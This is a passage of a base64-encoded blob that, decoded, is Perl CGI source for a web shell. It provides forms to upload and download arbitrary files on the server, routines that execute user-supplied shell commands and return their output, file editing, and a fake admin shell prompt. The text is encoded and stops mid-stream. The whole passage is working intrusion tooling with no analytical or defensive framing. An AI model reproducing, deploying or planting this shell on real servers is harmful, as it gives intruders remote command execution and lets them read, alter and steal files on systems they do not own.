S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+DQo8bGFiZWwgZm9yPSJ1cCI+T3ZlcndyaXRlIGlmIGl0IEV4aXN0czwvbGFiZWw+PGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KDQo8L2Zvcm0+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlyZXR1cm4gPDxFTkQ7DQo8L3RleHRhcmVhPg0KPGJyPjxmb250IGNvbG9yPXllbGxvdz4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+DQpFTkQNCgl9DQp9DQoNCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyDQojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaA0KIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5Lg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQ0Kew0KCWxvY2FsKCRGaWxlVXJsKSA9IEBfOw0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRyZXN1bHQgLj0gPDxFTkQ7DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPg0KRU5EDQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOw0KCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCW15ICRyZXN1bHQgPSAiIjsNCglsb2NhbCgkU2VuZEZpbGUpID0gQF87DQoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZw0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQliaW5tb2RlKFNFTkRGSUxFKTsNCgkJCWJpbm1vZGUoU1RET1VUKTsNCgkJfQ0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsNCgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOw0KCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7DQoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOw0KCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsNCgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7DQoJCWNsb3NlKFNFTkRGSUxFKTsNCgkJZXhpdCgxKTsNCgl9DQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsNCgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07DQoNCgl9DQoJbXkgJHJlc3VsdD0iIjsNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCSRyZXN1bHQgLj0gIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsNCgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJJHJlc3VsdCAuPSAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCgkNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQlyZXR1cm4gJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIHJ1biBjb21tYW5kDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCnN1YiBSdW5DbWQNCnsNCglteSAkcmVzdWx0PSIiOw0KCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOw0KCX0NCglpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJew0KCQkkfD0xOw0KCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQl7DQoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsNCgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsNCgkJfQ0KCQkkfD0wOw0KCX0NCgllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgl7DQoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJyRDb21tYW5kJyk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOw0KCW15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsNCgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0ic3VibWl0IiA+JzsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsNCglteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsNCglpZigtdyAkRmlsZSkNCgl7DQoJCSRyb3dzPSIyMyINCgl9ZWxzZQ0KCXsNCgkJJG1zZz0iPGJyPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOw0KCQkkcm93cz0iMjAiDQoJfQ0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCgkkcmVhZD0oJFdpbk5UKT8idHlwZSI6Imxlc3MiOw0KCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7DQoJJHJlc3VsdCAuPSAgPDxFTkQ7DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KCSRQcm9tcHQNCgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPg0KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQoJPGJyPkNvbW1hbmQ6IDxydW4+ICRSdW5Db21tYW5kIDwvcnVuPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cNCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4NCkVORA0KCQ0KCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT